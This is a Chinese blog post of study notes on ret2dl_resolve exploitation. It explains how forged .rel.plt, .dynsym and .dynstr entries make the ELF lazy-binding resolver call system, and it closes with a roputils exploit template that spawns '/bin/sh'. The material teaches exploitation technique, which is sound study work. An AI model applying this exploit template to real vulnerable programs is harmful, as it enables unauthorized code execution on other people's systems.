return to dl_resolve无需leak内存实现利用
之前在drop看过一篇文章,是西电的Bigtang师傅写的,这里来学习一下姿势做一些笔记。
0x01 基础知识
Linux ELF文件存在两个很重要的表,一个是got表(.got.plt)一个是plt表(.plt)。这些存在的原因是ELF文件使用了延迟绑定的技术。当我们调用一个函数时,如果这是第一次调用,会动用plt中的寻找函数找出这个函数的虚拟地址,然后写入到got表中,之后第二次第三次调用就不需要再查找,直接把got表中的内容取出使用就可以了。
为了实现这种设计的功能,plt代码中是这样写的
1 0x8048340 <free@plt>: jmp DWORD PTR ds:0x804a00c 2 0x8048346 <free@plt+6>: push 0x0 3 0x804834b <free@plt+11>: jmp 0x8048330 4 5 0x8048350 <malloc@plt>: jmp DWORD PTR ds:0x804a010 6 0x8048356 <malloc@plt+6>: push 0x8 7 0x804835b <malloc@plt+11>: jmp 0x8048330 8 9 0x8048360 <puts@plt>: jmp DWORD PTR ds:0x804a014 10 0x8048366 <puts@plt+6>: push 0x10 11 0x8048366 <puts@plt+11>: jmp 0x8048330
0x804a00c、0x804a010、0x804a014是free、malloc、puts对应的got表地址。plt代码首先会取出got表中的值,然后做一个跳转,如果是第一次调用函数,那么got表中的值是指向plt第二句的,比如0x804a00c的值就是0x8048346。plt的第二句会压入序号,因为free是got表中第一项,所以是push 0x0。而malloc是表中第二项,所以是push 0x8。之后跳入0x8048330。 0x8048330处的代码如下所示
0x8048330: push DWORD PTR ds:0x804a004 0x8048336: jmp DWORD PTR ds:0x804a008
0x804a000是got表的起始地址。+8处保存着查找函数,这里跳转到查找函数。
ELF文件的节区如下所示(使用readelf -S ./tst)
vb@unun:~/桌面/double free$ readelf -S ./tst 共有 31 个节头,从偏移量 0x1844 开始:节头:[Nr] Name Type Addr Off Size ES Flg Lk Inf Al[ 0] NULL 00000000 000000 000000 00 0 0 0[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4[ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000020 04 A 5 0 4[ 5] .dynsym DYNSYM 080481cc 0001cc 000070 10 A 6 1 4[ 6] .dynstr STRTAB 0804823c 00023c 00006a 00 A 0 0 1[ 7] .gnu.version VERSYM 080482a6 0002a6 00000e 02 A 5 0 2[ 8] .gnu.version_r VERNEED 080482b4 0002b4 000030 00 A 6 1 4[ 9] .rel.dyn REL 080482e4 0002e4 000008 08 A 5 0 4[10] .rel.plt REL 080482ec 0002ec 000020 08 AI 5 24 4[11] .init PROGBITS 0804830c 00030c 000023 00 AX 0 0 4[12] .plt PROGBITS 08048330 000330 000050 04 AX 0 0 16[13] .plt.got PROGBITS 08048380 000380 000008 00 AX 0 0 8[14] .text PROGBITS 08048390 000390 0001e2 00 AX 0 0 16[15] .fini PROGBITS 08048574 000574 000014 00 AX 0 0 4[16] .rodata PROGBITS 08048588 000588 000011 00 A 0 0 4[17] .eh_frame_hdr PROGBITS 0804859c 00059c 00002c 00 A 0 0 4[18] .eh_frame PROGBITS 080485c8 0005c8 0000cc 00 A 0 0 4[19] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4[20] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4[21] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4[22] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4[23] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4[24] .got.plt PROGBITS 0804a000 001000 00001c 04 WA 0 0 4[25] .data PROGBITS 0804a01c 00101c 000008 00 WA 0 0 4[26] .bss NOBITS 0804a040 001024 000084 00 WA 0 0 32[27] .comment PROGBITS 00000000 001024 000034 01 MS 0 0 1[28] .shstrtab STRTAB 00000000 001739 00010a 00 0 0 1[29] .symtab SYMTAB 00000000 001058 000480 10 30 47 4[30] .strtab STRTAB 00000000 0014d8 000261 00 0 0 1 Key to Flags:W (write), A (alloc), X (execute), M (merge), S (strings)I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)O (extra OS processing required) o (OS specific), p (processor specific)
0x02 如何利用
查找函数的查找过程
index_arg(push xx)——>.rel.plt(Elf32_Rel
)——>.dynsym(Elf32_Sym
)——>.dynstr(st_name)
事实上,虚拟地址是通过最后一个箭头,即从st_name得来的,只要我们能够修改这个st_name就可以执行任意函数。比如把st_name的内容修改成为"system"。
而index_arg是我们控制的,我们需要做的是通过一系列操作。把index_arg可控转化为st_name可控。
那么我们要实现控制就要解决一下的几个问题:
1.怎么计算index_arg才能控制.rel.plt(Elf32_Rel
)值?
index_arg是我们直接通过压栈参数进行控制的,使用要伪造的目标地址减去.rel.plt段基地址就是index_arg的值。其中.rel.plt段使用IDA是不能看到的,所以这里要使用objdump -s -j .rel.plt ./tst命令来查看。
vb@unun:~/桌面$ objdump -s -j .rel.plt ./tst./tst: 文件格式 elf32-i386Contents of section .rel.plt:80482ec 0ca00408 07010000 10a00408 07020000 ................80482fc 14a00408 07030000 18a00408 07050000 ................
由于我的目标地址处于bss段上的0x804A06,所以就需要进行如下的运算:
0x804A060-0x80482ec=7540,那么我们的index_arg的值就应该是7540,以指向.rel.plt
域
2.怎么构造.rel.plt(Elf32_Rel)才能控制.dynsym(Elf32_Sym)值?
当.rel.plt(Elf32_Rel)域落到可控区域之后要考虑的就是如何构造这个的值。
使用readelf -r命令可以看到这些reloc项,其中处于.rel.plt的用于函数重定位也正是我们的目标。
vb@unun:~/桌面$ readelf -r tst重定位节 '.rel.dyn' 位于偏移量 0x2e4 含有 1 个条目:偏移量 信息 类型 符号值 符号名称 08049ffc 00000406 R_386_GLOB_DAT 00000000 __gmon_start__重定位节 '.rel.plt' 位于偏移量 0x2ec 含有 4 个条目:偏移量 信息 类型 符号值 符号名称 0804a00c 00000107 R_386_JUMP_SLOT 00000000 gets@GLIBC_2.0 0804a010 00000207 R_386_JUMP_SLOT 00000000 __stack_chk_fail@GLIBC_2.4 0804a014 00000307 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0 0804a018 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
可以看出.rel.plt中的值满足如下Elf32_Rel结构
typedef struct {Elf32_Addr r_offset; // 这个值就是got表的虚拟地址Elf32_Word r_info; // .dynsym节区符号表索引(下标为r_info>>8) } Elf32_Rel;
其中第一项是对应的got表的地址。第二项经过>>8运算后是.dynsym节区的索引下标值,我们要控制的就是这一项。
r_info的计算方法是
1.n=(欲伪造的地址-.dynsym基地址)/0x10
2.r_info=n<<8
dynsym基地址使用objdump -s -j .dynsym ./tst来获取。
3.怎么构造.dynsym(Elf32_Sym)才能实现控制.dynstr(st_name)值?
typedef struct {Elf32_Word st_name; /* Symbol name (string tbl index) 这个就是*/Elf32_Addr st_value; /* Symbol value */Elf32_Word st_size; /* Symbol size */unsigned char st_info; /* Symbol type and binding */unsigned char st_other; /* Symbol visibility under glibc>=2.2 */Elf32_Section st_shndx; /* Section index */ } Elf32_Sym;
.dynsym
节区包含了动态链接符号表,符号表由Elf32_Sym结构表示。具体情况如上所示。其中第一项就是其对应的st_name到.dynstr节起始的偏移值。我们要把偏移值指向我们的可控区域,就能实现控制st_name
.dynstr的基地址由objdump -s -j .dynstr ./tst来获得。
3. .dynstr写入system完成利用
.dynstr
节包含了动态链接的字符,字符串是直接以ASCII码的形式储存的。所以在指针指向的地方直接写入ASCII形式的system即可达成利用!
0x03 现成的脚本模版
来自Github
from roputils import *fpath = sys.argv[1] offset = int(sys.argv[2])rop = ROP(fpath) addr_bss = rop.section('.bss')buf = rop.retfill(offset) buf += rop.call('read', 0, addr_bss, 100) buf += rop.dl_resolve_call(addr_bss+20, addr_bss)p = Proc(rop.fpath) p.write(p32(len(buf)) + buf) print "[+] read: %r" % p.read(len(buf))buf = rop.string('/bin/sh') buf += rop.fill(20, buf) buf += rop.dl_resolve_data(addr_bss+20, 'system') buf += rop.fill(100, buf)p.write(buf) p.interact(0)
转载于:https://www.cnblogs.com/Ox9A82/p/5487275.html
return to dl_resolve无需leak内存实现利用相关推荐
- 如何通过第三方工具维护计算机,无需第三方优化软件利用电脑自身维护功能优化系统...
原标题:无需第三方优化软件利用电脑自身维护功能优化系统 电脑使用久了,开机缓慢.运行卡顿是常见的事,这时我们就会想着对电脑进行一些优化加速设置.很多用户会选择使用第三方的优化软件,如"XX管 ...
- MFCButton Memory leak(内存泄露问题)
MFCButton Memory leak(内存泄露问题) http://m.blog.csdn.net/blog/haoekin/8851219 1.无法显示右边箭头的问题 无论怎么折腾都没显示不出 ...
- c语言动态分配输出学生成绩,C语言之:结构体动态分配内存(利用结构体数组保存不超过10个学生的信息,每个学生的信息包括:学号、姓名和三门课(高数、物理和英语 )的成绩和平均分(整型)。)...
题目内容: 利用结构体数组保存不超过10个学生的信息,每个学生的信息包括:学号.姓名和三门课(高数.物理和英语 )的成绩和平均分(整型). 编写程序,从键盘输入学生的人数,然后依次输入每个学生的学号. ...
- iOS_Memory Leak 内存泄露治理
文章目录 1.内存分类 2.Memory Report 3.Analyze 4.Leaks 4.1.前置设置 4.2.页面介绍 4.3.使用 4.3.1.Leaks 页面 4.3.2.Cycles & ...
- Android leak内存,GitHub - jin870132/memoryleakdemo: 安卓内存泄露几种常见形式及解决方案...
安卓内存泄露几种常见形式及解决方案 一.前言 1.内存溢出与内存泄露 内存溢出(oom),是指程序在申请内存时,没有足够的内存空间供其使用,出现oom:比如申请了一个integer,但给它存了long ...
- java visualvm 内存_利用VisualVM 内存查看
准备工作,建几个测试类.等下就是要查看这几个类里面的属性 package visualvm; public class MultiObject { private String str; privat ...
- Leak 内存泄漏检测
第一次使用Leak对项目进行内存泄漏的检测,也是查阅了许多资料,算是可以做到发现问题并解决问题. 我的项目泄漏情况是这样的: 图1 满屏的红叉让人心慌,那么如何找到泄露的位置呢? 首先要选中满是红叉的 ...
- 4.3 x64dbg 搜索内存可利用指令
发现漏洞的第一步则是需要寻找到可利用的反汇编指令片段,在某些时候远程缓冲区溢出需要通过类似于jmp esp等特定的反汇编指令实现跳转功能,并以此来执行布置好的ShellCode恶意代码片段,LyScr ...
- DTrace memory leak 内存泄露
http://blog.sina.com.cn/s/blog_538040b70100eecn.html 如下程序用于跟踪,在分配和回收都会触发探针 #!/usr/sbin/dtrace -s pid ...
最新文章
- 分析USB平台设备模型框架(1)
- CSS 框模型——规定了元素框处理元素内容、内边距、边框和外边距的方式
- ImportError: Failed to import pydot. You must install pydot and graphviz for `pydotprint` to work.
- Java认证授权框架Spring Security介绍
- “我工作八年,换了四家小公司,今后的职业生涯该怎么走?”
- Redis未授权访问漏洞记录(端口:6379)
- 现在这个时代变了,区块链,数字货币才是最火的项目
- 一文读懂 Java 工程师学习路线!
- Linux 端口侦听不到,在linux上,如何在不尝试连接的情况下检查端口是否处于侦听状态...
- 《SQL Server 2000 完全实战:数据转换服务(DTS)》
- Second kill system learning
- Java和JavaScript中使用Json方法大全
- 计算机组成原理(白中英) 第二章 课后题答案
- 【微信小程序使用阿里巴巴矢量图标库】
- STM32单片用什么编程?如何学习STM32单片机开发
- 新猿木子李:0基础学python培训教程 什么是前端
- 思科网络设备终端和Telnet远程登录配置
- 读书笔记(八)--货币战争 金权天下
- 微信公众号开发(五)个性化菜单
- 李有志——预谋着向生活发起冲锋...
热门文章
- 浅谈Android binder原理与设计 (1)
- 【转】“你不适合做程序员”
- 我的网页设计(腾讯网页面制作编写)
- python 表格格式输出_Python笔记---DAY3:格式化输出、for循环、列表操作
- cadence快捷键修改文件_PCB快捷键设置
- 第八篇:稳定性之提升团队潜意识【及时复盘、开关设计】
- 设计模式:000设计模式与面向对象介绍
- ultrascale和arm区别_[原创] Avnet Zynq UltraScale+MPSoC系列Ultra96开发方案
- java start launcher_hmcl启动失败
- 手绘线条图画机器人_怎么把照片转换成手绘图画?怎么加水印?